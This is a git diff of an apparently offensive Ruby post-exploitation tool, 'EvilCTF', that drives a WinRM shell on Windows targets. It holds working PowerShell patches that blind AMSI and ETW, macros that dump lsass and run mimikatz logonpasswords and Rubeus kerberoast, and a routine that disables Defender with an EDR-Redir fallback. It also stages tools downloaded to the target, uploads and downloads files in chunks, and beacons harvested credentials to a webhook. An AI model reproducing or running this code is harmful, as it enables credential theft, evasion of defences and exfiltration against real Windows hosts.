"C:\\Users\\Public\\#{File.basename(donutfile)}" - puts "[*] Uploading #{donutfile} to #{remote_donut}..." - EvilCTF::Uploader.upload_file(donutfile, remote_donut, shell) - donutfile = remote_donut - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Donut-Loader -DonutFile '#{donutfile}' -ProcessId #{processid}" - result = shell.run(ps) - puts result.output - next - EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) - command_manager.expand_macro('lsass_dump', shell, - webhook: session_options[:webhook]) - Uploader.download_file('C:\\Users\\Public\\lsass.dmp', - "loot/lsass_#{session_options[:ip]}.dmp", - shell) - next - - when /^fileops$/i - Uploader.file_operations_menu(shell) - next - - when /^enum(?:\s+(\S+))?$/i - t = Regexp.last_match(1) || 'basic' - if t == 'deep' - EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) - end - if t == 'dom' - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") + # Command dispatch via dispatcher + dispatch_result = EvilCTF::CommandDispatcher.dispatch( + name: input, + args: input.split(/\s+/, 2)[1] || '', + shell: shell, + session_options: session_options, + command_manager: command_manager, + history: history + ) + + if dispatch_result[:handled] + # Command was handled by dispatcher + if dispatch_result[:ok] + puts dispatch_result[:output] if dispatch_result[:output] && !dispatch_result[:output].empty? + elsif dispatch_result[:error] + puts "[!] #{dispatch_result[:error]}" end - if t == 'sql' - EvilCTF::SQLEnum.run_sql_enum(shell) - else - EvilCTF::Enums.run_enumeration(shell, type: t, cache: enum_cache, - fresh: session_options[:fresh]) + elsif dispatch_result[:ok] + # Dispatch returned ok but no output + else + # Not handled by dispatcher - use legacy path for macros/aliases + if command_manager.expand_macro(input, shell, + webhook: session_options[:webhook]) + last_command_was_tool_upload = false + next end - next - - when /^dom_enum$/i - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") - EvilCTF::Enums.run_enumeration(shell, type: 'dom', cache: enum_cache, - fresh: session_options[:fresh]) - next - - when /^disable_defender$/i - EvilCTF::Tools.disable_defender(shell) - next - - when /^history$/i - history.show - next - - when /^history\s+clear$/i - history.clear - puts '[+] History cleared' - next - when /^profile\s+save\s+(\S+)$/i - name = Regexp.last_match(1) - EvilCTF::Tools.save_config_profile(name, session_options) - next - - when /^get-unquotedservices$/i - puts "[*] Getting all unquoted service paths..." - unquoted_ps = <<~POWERSHELL - Get-CimInstance -Class Win32_Service | Where-Object { - $_.PathName -notlike '`"*' -and $_.PathName -like '*.exe*' -and $_.PathName -like '* *' - } | Select-Object Name, DisplayName, PathName, State, StartMode | Format-Table -AutoSize - POWERSHELL - result = shell.run(unquoted_ps) + cmd = command_manager.expand_alias(input) + start = Time.now + result = shell.run(cmd) + elapsed = Time.now - start puts result.output - next - - when /^tool\s+(\w+)$/i - key = Regexp.last_match(1) - if key == 'all' - puts "[*] Staging all tools..." - EvilCTF::Tools::TOOL_REGISTRY.each_key do |tool_key| - EvilCTF::Tools.safe_autostage(tool_key, shell, session_options, logger) + # --- Session Logging: Log output --- + if session_logfile + File.open(session_logfile, 'a') do |f| + f.puts "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] OUT:" + f.puts result.output end - else - puts "[*] Staging tool: #{key}" - success = EvilCTF::Tools.safe_autostage(key, shell, session_options, logger) - if success - puts "[+] Tool '#{key}' staged successfully" - tool = EvilCTF::Tools::TOOL_REGISTRY[key] - if tool && tool[:recommended_remote] - remote_path = tool[:recommended_remote] - case key - when 'mimikatz' - puts "[*] Executing mimikatz..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "Mimikatz completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "Mimikatz timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing mimikatz: $_.Exception.Message" - } - PS - result = shell.run(ps_cmd) - puts result.output - - when 'winpeas' - puts "[*] Executing winpeas..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c #{remote_path}" -PassThru -WindowStyle Hidden - $proc.WaitForExit(60000) | Out-Null - if ($proc.HasExited) { - Write-Output "WinPEAS completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "WinPEAS timed out after 60 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing winpeas: $_.Exception.Message" - } - PS - result = shell.run(ps_cmd) - puts result.output - - when 'procdump' - puts "[*] Executing procdump..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c #{remote_path}" -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "Procdump completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "Procdump timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing procdump: $_.Exception.Message" - } - PS - result = shell.run(ps_cmd) - puts result.output - - when 'rubeus', 'seatbelt' - puts "[*] Executing #{key}..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "#{key.capitalize} timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing #{key}: $_.Exception.Message" - } - PS - result = shell.run(ps_cmd) - puts result.output - - when 'inveigh', 'powerview', 'sharphound' - puts "[*] Executing #{key} PowerShell script..." - ps_script = "IEX (Get-Content '#{remote_path}' -Raw) 2>&1" - result = shell.run(ps_script) - puts result.output - - when 'socksproxy' - puts "[*] Executing SOCKS proxy PowerShell module..." - ps_script = "Import-Module '#{remote_path}' 2>&1; Invoke-SocksProxy -Port 1080" - result = shell.run(ps_script) - puts result.output - - else - if remote_path.end_with?('.exe') - puts "[*] Executing #{key}..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "#{key.capitalize} timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing #{key}: $_.Exception.Message" - } - PS - result = shell.run(ps_cmd) - puts result.output - else - puts "[*] Tool staged. Execute manually with: #{remote_path}" - end - end - end - else - puts "[-] Failed to stage tool '#{key}'" + end + unless last_command_was_tool_upload + matches = EvilCTF::Tools.grep_output(result.output) + if matches.any? + EvilCTF::Tools.save_loot(matches) + EvilCTF::Tools.beacon_loot(session_options[:webhook], matches) if session_options[:webhook] end end - last_command_was_tool_upload = true - - when /^!bash$/i, /^!sh$/i - puts '[*] Spawning local shell. Type "exit" to return.' - system(ENV['SHELL'] || '/bin/bash') - next - end - - # Macro expansion - - if command_manager.expand_macro(input, shell, - webhook: session_options[:webhook]) last_command_was_tool_upload = false - next - end - # Normal command path - cmd = command_manager.expand_alias(input) - start = Time.now - result = shell.run(cmd) - elapsed = Time.now - start - puts result.output - # --- Session Logging: Log output --- - if session_logfile - File.open(session_logfile, 'a') do |f| - f.puts "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] OUT:" - f.puts result.output - end - end - unless last_command_was_tool_upload - matches = EvilCTF::Tools.grep_output(result.output) - if matches.any? - EvilCTF::Tools.save_loot(matches) - EvilCTF::Tools.beacon_loot(session_options[:webhook], matches) if session_options[:webhook] - end + logger.log_command(cmd, result, elapsed, + '$PID', result.exitcode || 0) + sleep(rand(30..90)) if session_options[:beacon] end - last_command_was_tool_upload = false - - logger.log_command(cmd, result, elapsed, - '$PID', result.exitcode || 0) - sleep(rand(30..90)) if session_options[:beacon] end rescue Timeout::Error puts "\n[!] Idle timeout — closing session" @@ -611,7 +410,7 @@ def self.run_session(session_options) retry else puts "[!] Maximum reconnection attempts reached. Exiting." - return false + return [false, validation_info] end ensure # Ensure cleanup happens even on interruption or errors @@ -620,7 +419,7 @@ def self.run_session(session_options) end puts '[+] Session closed.' - true + [true, validation_info] end # ------------------------------------------------------------------ @@ -641,17 +440,27 @@ def self.normalize_host(host) def self.add_ipv6_to_hosts(ip, hostname) hosts_file = '/etc/hosts' entry = "#{ip} #{hostname}" - # Check if already present - if File.readlines(hosts_file).any? { |line| line.strip == entry } - puts "[+] /etc/hosts already contains: #{entry}" - return + + begin + # Check if already present + if File.readlines(hosts_file).any? { |line| line.strip == entry } + puts "[+] /etc/hosts already contains: #{entry}" + return + end + # Backup hosts file + backup = hosts_file + ".evilctf.bak" + FileUtils.cp(hosts_file, backup) unless File.exist?(backup) + # Append entry + File.open(hosts_file, 'a') { |f| f.puts entry } + puts "[+] /etc/hosts updated: #{entry}" + rescue Errno::EACCES, Errno::EPERM => e + puts "[!] WARNING: Unable to modify /etc/hosts (permissions required): #{e.message}" + puts "[!] Try running with sudo: sudo -E ./evil-ctf [args]" + puts "[!] Continuing session anyway..." + rescue => e + puts "[!] WARNING: Failed to update /etc/hosts: #{e.message}" + puts "[!] Continuing session anyway..." end - # Backup hosts file - backup = hosts_file + ".evilctf.bak" - FileUtils.cp(hosts_file, backup) unless File.exist?(backup) - # Append entry - File.open(hosts_file, 'a') { |f| f.puts entry } - puts "[+] /etc/hosts updated: #{entry}" end def self.setup_autocomplete(history) @@ -659,6 +468,19 @@ def self.setup_autocomplete(history) Readline.completion_proc = proc { |s| history.history.grep(/^#{Regexp.escape(s)}/) } end + # Normalize remote prompt output so Readline renders correctly. + # - Converts literal "\\n" sequences into real newlines. + # - Collapses CRLF/CR variations to LF. + # - Trims trailing newlines and ensures a trailing space for cursor alignment. + def self.normalize_readline_prompt(raw_prompt) + prompt = raw_prompt.to_s + prompt = prompt.gsub('\\r\\n', "\n").gsub('\\n', "\n") + prompt = prompt.gsub("\r\n", "\n").gsub("\r", "\n") + prompt = prompt.rstrip + prompt = '> ' if prompt.empty? + prompt.end_with?(' ') ? prompt : "#{prompt} " + end + def self.parse_hosts_file(hosts_file) hosts = [] return hosts unless File.exist?(hosts_file) @@ -671,6 +493,21 @@ def self.parse_hosts_file(hosts_file) else puts "[!] Invalid host line: #{line}" end + ensure + # Ensure we always try to clean up remote shell and connection resources + begin + shell.close if shell + rescue => _e + # best-effort cleanup + end + begin + conn.reset if conn && conn.respond_to?(:reset) + rescue => _e + end + begin + logger.close if defined?(logger) && logger.respond_to?(:close) + rescue => _e + end end hosts end diff --git a/lib/evil_ctf/shell_adapter.rb b/lib/evil_ctf/shell_adapter.rb index 9facf9d..e06cc87 100644 --- a/lib/evil_ctf/shell_adapter.rb +++ b/lib/evil_ctf/shell_adapter.rb @@ -1,5 +1,8 @@ # frozen_string_literal: true +require 'base64' +require 'fileutils' require_relative 'logger' +require_relative 'utils' module EvilCTF # Adapter abstraction for remote shells. Provides a stable `run(cmd)` and `close` API # and exposes the underlying WinRM connection when available for advanced operations @@ -41,6 +44,105 @@ def adapter_info # WinRM-specific adapter: can be constructed from a WinRM::Connection or a WinRM shell class WinRMShellAdapter < GenericAdapter + class InternalFileManager + DEFAULT_CHUNK_SIZE = 64 * 1024 + + def initialize(shell_adapter:) + @shell_adapter = shell_adapter + end + + def upload(local_path:, remote_path:, chunk_size: DEFAULT_CHUNK_SIZE) + raise ArgumentError, 'local_path is required' if local_path.to_s.empty? + raise ArgumentError, 'remote_path is required' if remote_path.to_s.empty? + raise Errno::ENOENT, local_path unless File.exist?(local_path) + + escaped_remote = EvilCTF::Utils.escape_ps_string(remote_path) + remote_dir = EvilCTF::Utils.escape_ps_string(File.dirname(remote_path).gsub('/', '\\')) + init_ps = <<~PS + try { + if (!(Test-Path '#{remote_dir}')) { New-Item -Path '#{remote_dir}' -ItemType Directory -Force | Out-Null } + if (Test-Path '#{escaped_remote}') { Remove-Item '#{escaped_remote}' -Force -ErrorAction SilentlyContinue } + [System.IO.File]::WriteAllBytes('#{escaped_remote}', @()) + 'OK' + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + init_res = @shell_adapter.run(init_ps) + unless init_res && init_res.output.to_s.include?('OK') + raise EvilCTF::Errors::UploadError, "InternalFileManager init failed: #{init_res&.output}" + end + + File.open(local_path, 'rb') do |file| + while (chunk = file.read(chunk_size)) + b64 = Base64.strict_encode64(chunk) + append_ps = <<~PS + try { + $b64 = @' +#{b64} +'@ + $bytes = [Convert]::FromBase64String($b64) + $fs = [System.IO.File]::Open('#{escaped_remote}', [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write) + $fs.Write($bytes, 0, $bytes.Length) + $fs.Close() + 'OK' + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + append_res = @shell_adapter.run(append_ps) + unless append_res && append_res.output.to_s.include?('OK') + raise EvilCTF::Errors::UploadError, "InternalFileManager upload failed: #{append_res&.output}" + end + end + end + true + end + + def download(remote_path:, local_path:, chunk_size: DEFAULT_CHUNK_SIZE) + raise ArgumentError, 'remote_path is required' if remote_path.to_s.empty? + raise ArgumentError, 'local_path is required' if local_path.to_s.empty? + + FileUtils.mkdir_p(File.dirname(local_path)) + File.open(local_path, 'wb') {} + + offset = 0 + loop do + read_ps = <<~PS + try { + $path = '#{EvilCTF::Utils.escape_ps_string(remote_path)}' + if (!(Test-Path $path)) { throw "Path not found: $path" } + $fs = [System.IO.File]::OpenRead($path) + $fs.Seek(#{offset}, 'Begin') | Out-Null + $buf = New-Object byte[] #{chunk_size} + $read = $fs.Read($buf, 0, $buf.Length) + if ($read -gt 0) { + $slice = if ($read -lt $buf.Length) { $buf[0..($read - 1)] } else { $buf } + [Convert]::ToBase64String($slice) + } else { '' } + $fs.Close() + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + read_res = @shell_adapter.run(read_ps) + output = read_res&.output.to_s.strip + raise EvilCTF::Errors::DownloadError, output if output.start_with?('ERROR:') + break if output.empty? + + bytes = Base64.strict_decode64(output) + File.open(local_path, 'ab') { |f| f.write(bytes) } + offset += bytes.bytesize + break if bytes.bytesize < chunk_size + end + true + end + + def read(remote_path:, local_path:) + download(remote_path: remote_path, local_path: local_path) + end + end + def self.new_from_connection(conn) adapter = allocate adapter.send(:initialize_from_connection, conn) @@ -79,11 +181,10 @@ def adapter_info { type: :winrm, connection: @conn } end - # Return a WinRM::FS file manager if the connection and WinRM::FS are available + # Return an internal file manager implementation (WinRM::FS optional). def file_manager - return nil unless @conn - return nil unless defined?(WinRM::FS) - WinRM::FS::FileManager.new(@conn) + return nil unless @shell + InternalFileManager.new(shell_adapter: self) rescue nil end diff --git a/lib/evil_ctf/shell_wrapper.rb b/lib/evil_ctf/shell_wrapper.rb index 186ea16..d0a99b6 100644 --- a/lib/evil_ctf/shell_wrapper.rb +++ b/lib/evil_ctf/shell_wrapper.rb @@ -1,4 +1,5 @@ # lib/evil_ctf/shell_wrapper.rb +require_relative '../compat/silence_warnings' require 'winrm' require 'ipaddr' diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index 6514365..e63a3d5 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -1,29 +1,9 @@ - 'runascs' => { - name: 'RunasCs', - filename: 'RunasCs.exe', - search_patterns: ['RunasCs.exe', 'RunasCs*.exe'], - description: 'C# RunAs implementation for user impersonation and UAC bypass', - url: 'https://github.com/antonioCoco/RunasCs', - download_url: 'https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.exe', - backup_urls: [], - zip: false, - recommended_remote: 'C:\\Users\\Public\\RunasCs.exe', - auto_execute: false, - category: 'privilege' - }, -module EvilCTF - module Tools - # Safely escape single quotes for PowerShell single-quoted strings - def self.ps_single_quote_escape(str) - str.to_s.gsub("'", "''") - end - # This file intentionally small: use files under lib/evil_ctf/tools/* - end -end #!/usr/bin/env ruby # frozen_string_literal: true -# Compatibility shim – define Fixnum for Ruby 3.x -class Fixnum < Integer; end unless defined?(Fixnum) +# Compatibility shim – define Fixnum for very old Rubies (pre-2.4) +if RUBY_VERSION.to_f < 2.4 + class Fixnum < Integer; end unless defined?(Fixnum) +end require 'fileutils' require 'zip' require 'uri' @@ -35,7 +15,6 @@ class Fixnum < Integer; end unless defined?(Fixnum) require 'shellwords' require 'evil_ctf/uploader' - module EvilCTF::Tools TOOL_REGISTRY = { 'sharphound' => { @@ -237,52 +216,110 @@ module EvilCTF::Tools }.freeze # AMSI bypass script BYPASS_4MSI_PS = <<~PS - $kernel32 = @" - using System; using System.Runtime.InteropServices; - public class kernel32 { - [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + try { + $kernel32 = 'using System; using System.Runtime.InteropServices; public class kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); }' + Add-Type -TypeDefinition $kernel32 -ErrorAction SilentlyContinue + + $amsiDll = [kernel32]::LoadLibrary("amsi.dll") + if ($amsiDll -eq [IntPtr]::Zero) { + "[!] AMSI bypass failed: amsi.dll not loaded" + } else { + $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) + $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") + if ($scanBuffer -ne [IntPtr]::Zero) { + $oldProtect = 0 + [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) + "[+] AmsiScanBuffer patched" + } else { + "[!] AMSI bypass warning: AmsiScanBuffer not found" + } + + # Fallback: also patch AmsiScanString (newer Windows builds) + $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") + if ($scanString -ne [IntPtr]::Zero) { + $oldProtectString = 0 + [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldProtectString) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null + "[+] AmsiScanString patched as fallback" + } + } + "[+] AMSI bypass routine completed" + } catch { + "[!] AMSI bypass exception: $($_.Exception.Message)" } - "@ - Add-Type $kernel32 - $amsiDll = [kernel32]::LoadLibrary("amsi.dll") - $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") - $oldProtect = 0 - [kernel32]::VirtualProtect($scanBuffer, [uint32]5, 0x40, [ref]$oldProtect) | Out-Null - $patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 6) - "[+] AMSI bypassed (AmsiScanBuffer patched)" - try { IEX ("Am"+"siU"+"tils") } catch { "[+] Bypass confirmed" } PS # ETW bypass script ETW_BYPASS_PS = <<~PS - $kernel32 = @" - using System; using System.Runtime.InteropServices; - public class kernel32 { - [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - } - "@ - Add-Type $kernel32 - $ntdll = [kernel32]::LoadLibrary("ntdll.dll") - $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx") - $patch = [Byte[]] (0x48, 0x33, 0xC0, 0xC3) - foreach ($f in $funcs) { - $addr = [kernel32]::GetProcAddress($ntdll, $f) - if ($addr -ne 0) { - $old = 0 - [kernel32]::VirtualProtect($addr, 4, 0x40, [ref]$old) | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 4) + try { + $kernel32 = 'using System; using System.Runtime.InteropServices; public class kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); }' + Add-Type -TypeDefinition $kernel32 -ErrorAction SilentlyContinue + + $ntdll = [kernel32]::LoadLibrary("ntdll.dll") + if ($ntdll -eq [IntPtr]::Zero) { + "[!] ETW bypass failed: ntdll.dll not loaded" + } else { + # Patch only the most stable ETW exports to reduce provider-host crashes. + $funcs = @("EtwEventWrite", "EtwEventWriteTransfer", "EtwEventWriteFull", "EtwEventWriteEx") + $patch = [Byte[]] (0x48, 0x33, 0xC0, 0xC3) # xor rax,rax ; ret + $patchLen = [uint32]$patch.Length + $patched = 0 + + foreach ($f in $funcs) { + $addr = [kernel32]::GetProcAddress($ntdll, $f) + if ($addr -ne [IntPtr]::Zero) { + $old = 0 + [kernel32]::VirtualProtect($addr, $patchLen, 0x40, [ref]$old) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length) + $patched++ + } + } + "[+] ETW patch-only bypass completed (patched funcs: $patched)" } + } catch { + "[!] ETW bypass exception: $($_.Exception.Message)" } + PS + + # Windows version-aware bypass selector + BYPASS_DETECTION_PS = <<~PS + $osBuild = (Get-CimInstance Win32_OperatingSystem).BuildNumber + $arch = $env:PROCESSOR_ARCHITECTURE + $psVersion = $PSVersionTable.PSVersion.Major + "[+] OS Build: $osBuild | Arch: $arch | PS Version: $psVersion" + if ([int]$osBuild -lt 9600) { + "[+] Legacy Windows build detected - using conservative bypass mode" + "[+] Standard bypass will be used (BYPASS_4MSI_PS + ETW_BYPASS_PS)" + } elseif ([int]$osBuild -ge 22000) { + "[+] Windows 11/Server 2022+ detected - using enhanced bypass" + "[+] Enhanced AMSI/ETW routines enabled by default constants" + } else { + "[+] Windows 10/Server 2016/2019 detected - using standard bypass" + "[+] Standard bypass will be used (BYPASS_4MSI_PS + ETW_BYPASS_PS)" + } + PS + + # Post-bypass verification script + BYPASS_VERIFICATION_PS = <<~PS + # Verify AMSI bypass + $amsiResult = 0 try { - $type = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') - $field = $type.GetField('etwProvider','NonPublic,Static') - $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", [Guid]::NewGuid())) - } catch {} - "[+] Full ETW bypass completed" + $null = [Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils') + $amsiType = [Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils') + if ($amsiType) { + $amsiResult = $amsiType.GetMethod('ScanString', [Reflection.BindingFlags]'NonPublic, Static').Invoke($null, @('test', [Ref]([Int32]::MinValue))) + if ($amsiResult -eq 0x80070007) { + "[+] AMSI bypass verified (return code: 0x80070007)" + } else { + "[!] AMSI bypass failed (return code: 0x{0:x})" -f $amsiResult + } + } + } catch { + "[+] AMSI bypass status unknown (AmsiUtils not found)" + } + # ETW verification is informational in patch-only mode. + "[+] ETW bypass verification: patch-only mode enabled" + "[+] Bypass verification complete" PS def self.disable_defender(shell) @@ -330,11 +367,11 @@ def self.disable_defender(shell) } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 60) + puts exec_res.output # Final check: is Defender still enabled? - final_status = shell.run('Get-MpComputerStatus | Select-Object -ExpandProperty RealTimeProtectionEnabled') + final_status = EvilCTF::Execution.run(shell, 'Get-MpComputerStatus | Select-Object -ExpandProperty RealTimeProtectionEnabled', timeout: 10) if final_status.output.strip == 'True' puts "[!] WARNING: Defender is still enabled after attempted disable." puts "[*] Attempting EDR-Redir V2 bypass..." @@ -354,7 +391,7 @@ def self.disable_defender(shell) ps_cmd = <<~PS try { New-Item -ItemType Directory -Path "C:\\TMP\\TEMPDIR" -Force | Out-Null - $result = Start-Process -FilePath "#{remote_edr_redir}" -ArgumentList "C:\\ProgramData\\Microsoft C:\\TMP\\TEMPDIR \"C:\\ProgramData\\Microsoft\\Windows Defender\"" -PassThru -Wait + $result = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_edr_redir)}' -ArgumentList "C:\\ProgramData\\Microsoft C:\\TMP\\TEMPDIR \"C:\\ProgramData\\Microsoft\\Windows Defender\"" -PassThru -Wait if ($result.ExitCode -eq 0) { Write-Output "[+] EDR-Redir V2 executed successfully" } else { @@ -398,7 +435,7 @@ def initialize @macros = { 'kerberoast' => [BYPASS_4MSI_PS, '& "C:\\Users\\Public\\Rubeus.exe" kerberoast /outfile:C:\\Users\\Public\\hashes.txt 2>$null'], 'dump_creds' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\mimikatz.exe" "privilege::debug" "sekurlsa::logonpasswords" exit 2>$null'], - 'lsass_dump' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\procdump64.exe" -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp 2>$null'], + 'lsass_dump' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\procdump64.exe" -accepteula -ma lsass.exe "C:\\Users\\Public\\lsass.dmp"'], 'invoke-mimikatz' => [ BYPASS_4MSI_PS, ETW_BYPASS_PS, @@ -430,9 +467,9 @@ def expand_macro(name, shell, webhook: nil) puts "[*] Expanding macro: #{name}" macro.each do |step| begin - result = shell.run(step) - puts result.output.strip - matches = EvilCTF::Tools.grep_output(result.output) + exec_res = EvilCTF::Execution.run(shell, step, timeout: 120) + puts exec_res.output.to_s.strip + matches = EvilCTF::Tools.grep_output(exec_res.output) if matches.any? EvilCTF::Tools.save_loot(matches) EvilCTF::Tools.beacon_loot(webhook, matches) if webhook @@ -462,7 +499,7 @@ def self.download_tool(key, remote_download: false, shell: nil) puts "[*] Attempting remote download on target for #{key}..." ps_cmd = <<~PS try { - (New-Object System.Net.WebClient).DownloadFile('#{tool[:download_url]}', '#{tool[:recommended_remote]}') + (New-Object System.Net.WebClient).DownloadFile('#{EvilCTF::Utils.escape_ps_string(tool[:download_url])}', '#{EvilCTF::Utils.escape_ps_string(tool[:recommended_remote])}') "SUCCESS" } catch { "ERROR: $($_.Exception.Message)" @@ -528,7 +565,7 @@ def self.download_from_url(url, path) return success if success # Try PowerShell as last resort puts "[*] Trying PowerShell Invoke-WebRequest..." - ps_cmd = "powershell -Command \"try { Invoke-WebRequest -Uri '#{url}' -OutFile '#{path}' -UseBasicParsing } catch { exit 1 }\"" + ps_cmd = "powershell -Command \"try { Invoke-WebRequest -Uri '#{EvilCTF::Utils.escape_ps_string(url)}' -OutFile '#{EvilCTF::Utils.escape_ps_string(path)}' -UseBasicParsing } catch { exit 1 }\"" success = system(ps_cmd) success end @@ -602,7 +639,7 @@ def self.safe_autostage(tool_key, shell, options, logger) if extracted_file remote_path = File.join(File.dirname(tool[:recommended_remote]), extracted_file) - check_cmd = "if (Test-Path '#{remote_path}') { 'EXISTS' } else { 'MISSING' }" + check_cmd = "if (Test-Path '#{EvilCTF::Utils.escape_ps_string(remote_path)}') { 'EXISTS' } else { 'MISSING' }" result = shell.run(check_cmd) if result.output.include?('EXISTS') puts "[+] #{tool[:name]} already staged at #{remote_path}" @@ -659,8 +696,8 @@ def self.safe_autostage(tool_key, shell, options, logger) # Create PowerShell extraction script extract_ps = <<~PS try { - $zipPath = '#{ps_single_quote_escape(zip_remote_path)}' - $extractPath = '#{ps_single_quote_escape(File.dirname(tool[:recommended_remote]))}' + $zipPath = '#{EvilCTF::Utils.escape_ps_string(zip_remote_path)}' + $extractPath = '#{EvilCTF::Utils.escape_ps_string(File.dirname(tool[:recommended_remote]))}' Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($zipPath, $extractPath) @@ -699,7 +736,7 @@ def self.execute_staged_tool(key, args = '', shell) puts "[*] Executing #{key} with args: #{args}" ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "#{remote_path}" -ArgumentList "#{args}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -ArgumentList '#{EvilCTF::Utils.escape_ps_string(args)}' -PassThru -WindowStyle Hidden $proc.WaitForExit(60000) | Out-Null if ($proc.HasExited) { "Completed with exit code: $($proc.ExitCode)" diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb new file mode 100644 index 0000000..4dafbf5 --- /dev/null +++ b/lib/evil_ctf/tui.rb @@ -0,0 +1,977 @@ +module EvilCTF + class TUI + # Simple in-memory trackers for sessions started via the TUI and a small + # streaming output buffer used by the CLI pane. + require_relative 'app_state' + require_relative 'tui_controller' + + def self.app_state + EvilCTF::AppState.instance + end + + # Thread-safe helpers + def self.sessions_mutex; app_state.mutex; end + def self.stream_mutex; app_state.mutex; end + def self.ui_state_mutex; app_state.mutex; end + + + def self.add_session(s) + app_state.add_session(s) + end + + def self.sessions_snapshot + app_state.sessions + end + + def self.append_stream(line) + app_state.append_stream(line) + end + + def self.stream_snapshot + app_state.stream_snapshot + end + + # Build a dynamic 2-column frame (left menu, center CLI). + # Returns frame lines plus cursor anchor metadata for diff-based rendering. + def self.build_fixed_layout_lines(shell, state = {}, sessions = [], stream_lines = []) + 